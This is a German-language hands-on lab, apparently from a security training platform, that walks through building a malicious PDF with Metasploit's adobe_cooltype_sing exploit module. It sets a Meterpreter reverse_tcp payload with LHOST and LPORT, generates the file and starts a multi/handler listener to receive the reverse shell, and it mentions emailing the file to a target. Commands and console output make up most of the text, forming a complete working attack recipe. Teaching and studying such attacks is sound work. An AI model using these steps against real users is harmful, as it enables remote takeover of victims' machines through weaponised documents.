Einleitung
In diesem Labor tauchen Sie in die Welt der clientseitigen Angriffe ein, indem Sie mit dem Metasploit Framework eine bösartige PDF-Datei erstellen. Clientseitige Angriffe zielen auf Schwachstellen in Anwendungen auf dem Computer eines Benutzers ab, wie z. B. Webbrowser, Mediaplayer oder Dokumentenanzeigeprogramme.
PDF-Dateien sind ein gängiger Vektor für diese Angriffe, da sie weit verbreitet und von Benutzern oft als vertrauenswürdig eingestuft werden. Durch das Einbetten von bösartigem Code (einer Payload) in ein scheinbar harmloses PDF kann ein Angreifer die Kontrolle über das System eines Opfers erlangen, wenn die Datei mit einem anfälligen PDF-Reader geöffnet wird.
Sie lernen, wie Sie einen bestimmten Exploit auswählen, ihn mit einer Payload konfigurieren, die bösartige Datei generieren und einen Listener einrichten, um die Verbindung vom kompromittierten System zu verarbeiten. Dieses Labor vermittelt ein grundlegendes Verständnis dafür, wie solche Angriffe aufgebaut sind.
Auswahl des Moduls exploit/windows/fileformat/adobe_cooltype_sing
In diesem Schritt starten Sie die Metasploit Framework-Konsole und wählen das geeignete Exploit-Modul zur Erstellung einer bösartigen PDF-Datei aus. Das Metasploit Framework ist ein leistungsstarkes Werkzeug für Penetrationstests, und seine Konsole, msfconsole, ist die primäre Schnittstelle für die Interaktion damit.
Öffnen Sie zunächst ein Terminal und starten Sie die Metasploit-Konsole. Die Initialisierung kann einen Moment dauern.
msfconsole -q
Das Flag -q unterdrückt das Banner für einen schnelleren Start. Nach dem Laden sehen Sie die Eingabeaufforderung msf6 >.
Wir werden einen Exploit verwenden, der eine bekannte Schwachstelle in Adobe Reader ausnutzt. Das Modul heißt exploit/windows/fileformat/adobe_cooltype_sing. Verwenden Sie den Befehl use, um dieses Modul zu laden.
use exploit/windows/fileformat/adobe_cooltype_sing
Nach Ausführung des Befehls werden Sie feststellen, dass sich die Eingabeaufforderung ändert, um das aktuell geladene Modul widerzuspiegeln.
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >
Dies bestätigt, dass das Modul nun aktiv und zur Konfiguration bereit ist.
Festlegen der FILENAME-Option für die Ausgabe-PDF
In diesem Schritt konfigurieren Sie die Optionen für das ausgewählte Exploit-Modul. Jedes Modul verfügt über eine Reihe von Optionen, die Sie anpassen können. Um die verfügbaren Optionen für das aktuelle Modul anzuzeigen, verwenden Sie den Befehl show options.
show options
Dieser Befehl zeigt eine Tabelle mit Parametern an, die Sie festlegen können, wie z. B. den Dateinamen für die Ausgabedatei und die Payload-Einstellungen.
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
...
Payload options (generic/shell_reverse_tcp):
...
Wir müssen die Option FILENAME festlegen, um den Namen unserer bösartigen PDF-Datei anzugeben. Wir nennen sie malicious.pdf. Verwenden Sie den Befehl set, um diesen Wert zuzuweisen.
set FILENAME malicious.pdf
Sie können show options erneut ausführen, um zu überprüfen, ob FILENAME erfolgreich aktualisiert wurde.
FILENAME malicious.pdf yes The file name.
Konfiguration einer reverse_tcp-Payload mit LHOST und LPORT
In diesem Schritt konfigurieren Sie die Payload. Eine Payload ist der Code, der nach erfolgreichem Exploit auf dem Zielsystem ausgeführt wird. Wir verwenden eine reverse_tcp-Payload, die die Maschine des Opfers zwingt, sich mit unserer Maschine zu verbinden.
Legen Sie zunächst die Payload auf windows/meterpreter/reverse_tcp fest. Meterpreter ist eine fortschrittliche, dynamisch erweiterbare Payload, die mehr Funktionen als eine Standard-Shell bietet.
set payload windows/meterpreter/reverse_tcp
Als Nächstes müssen wir die Optionen der Payload konfigurieren: LHOST und LPORT.
LHOST: Dies ist der "Listening Host", also die IP-Adresse Ihres Rechners. Die Maschine des Opfers wird sich mit dieser IP verbinden.LPORT: Dies ist der "Listening Port", der Port auf Ihrem Rechner, der auf die Verbindung wartet.
Um die IP-Adresse Ihres Rechners zu ermitteln, können Sie einen neuen Terminal-Tab öffnen und den Befehl ip a ausführen. Suchen Sie nach der IP-Adresse, die der Schnittstelle eth0 zugeordnet ist.
ip a
Legen Sie nun LHOST auf Ihre IP-Adresse fest (ersetzen Sie YOUR_IP_ADDRESS durch die tatsächliche IP) und LPORT auf einen gängigen Port wie 4444.
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
Führen Sie show options noch einmal aus, um zu bestätigen, dass alle Einstellungen korrekt sind. Sie sollten Ihren konfigurierten FILENAME, PAYLOAD, LHOST und LPORT sehen.
Generieren der bösartigen PDF-Datei
In diesem Schritt, nachdem alle Optionen konfiguriert wurden, sind Sie bereit, die bösartige PDF-Datei zu generieren. Der Befehl exploit (oder sein Alias run) wird den Exploit und die Payload zur endgültigen Datei zusammenfügen.
Führen Sie den Befehl exploit in Ihrem msfconsole-Fenster aus.
exploit
Metasploit erstellt nun die PDF-Datei. Die Ausgabe zeigt den Prozess und, was am wichtigsten ist, wo die Datei gespeichert wurde.
[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf
Die Datei ist nun erstellt. In einem realen Szenario würde ein Angreifer diese Datei an ein Ziel liefern, zum Beispiel als E-Mail-Anhang. Sie können ihre Existenz mit dem Befehl ls in einem neuen Terminal überprüfen.
ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf
Einrichten eines Handlers in msfconsole zum Abfangen der Shell
In diesem Schritt richten Sie einen Listener, auch bekannt als Handler, ein, um die eingehende Verbindung von der Maschine des Opfers "abzufangen", wenn die bösartige PDF-Datei geöffnet wird. Ohne einen Handler hat die Payload keine Verbindungsmöglichkeit.
Wir verwenden das Modul exploit/multi/handler, einen generischen Listener.
use exploit/multi/handler
Nun müssen Sie diesen Handler mit der exakt gleichen Payload und den gleichen Optionen (LHOST und LPORT) konfigurieren, die Sie in die PDF-Datei eingebettet haben. Dies ist entscheidend für den Erfolg der Verbindung.
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
Denken Sie daran, YOUR_IP_ADDRESS erneut durch die IP-Adresse Ihres Rechners zu ersetzen.
Nachdem der Handler konfiguriert ist, starten Sie ihn mit dem Befehl exploit -j. Das Flag -j führt den Handler als Hintergrundjob aus, wodurch Ihre msfconsole-Eingabeaufforderung für andere Befehle frei bleibt, während der Listener aktiv ist.
exploit -j
Sie sehen eine Bestätigung, dass der Handler gestartet wurde.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444
Der Handler lauscht nun auf eine Verbindung. In diesem Labor simulieren wir nicht, dass ein Opfer die Datei öffnet, aber Ihre Einrichtung ist abgeschlossen. Sie haben erfolgreich eine bösartige Datei erstellt und einen Listener vorbereitet, um die Reverse-Shell zu verarbeiten.
Zusammenfassung
In diesem Labor haben Sie erfolgreich die grundlegenden Schritte zur Erstellung einer bösartigen PDF-Datei für einen Client-seitigen Angriff mit dem Metasploit Framework durchlaufen.
Sie haben gelernt, wie Sie:
- Die Metasploit-Konsole starten und ein geeignetes Exploit-Modul auswählen.
- Exploit-Optionen konfigurieren, wie z. B. den Namen der Ausgabedatei.
- Eine Payload (
windows/meterpreter/reverse_tcp) mit den notwendigenLHOST- undLPORT-Parametern auswählen und konfigurieren. - Die endgültige bösartige PDF-Datei generieren.
- Einen Handler (
exploit/multi/handler) einrichten und ausführen, um auf eingehende Verbindungen von einem kompromittierten System zu warten und diese abzufangen.
Diese Übung vermittelt ein praktisches Verständnis der Mechanismen hinter einem gängigen Angriffsvektor und unterstreicht die Bedeutung der Aktualisierung von Software, insbesondere von Dokumentenlesern, um sich vor solchen Schwachstellen zu schützen.


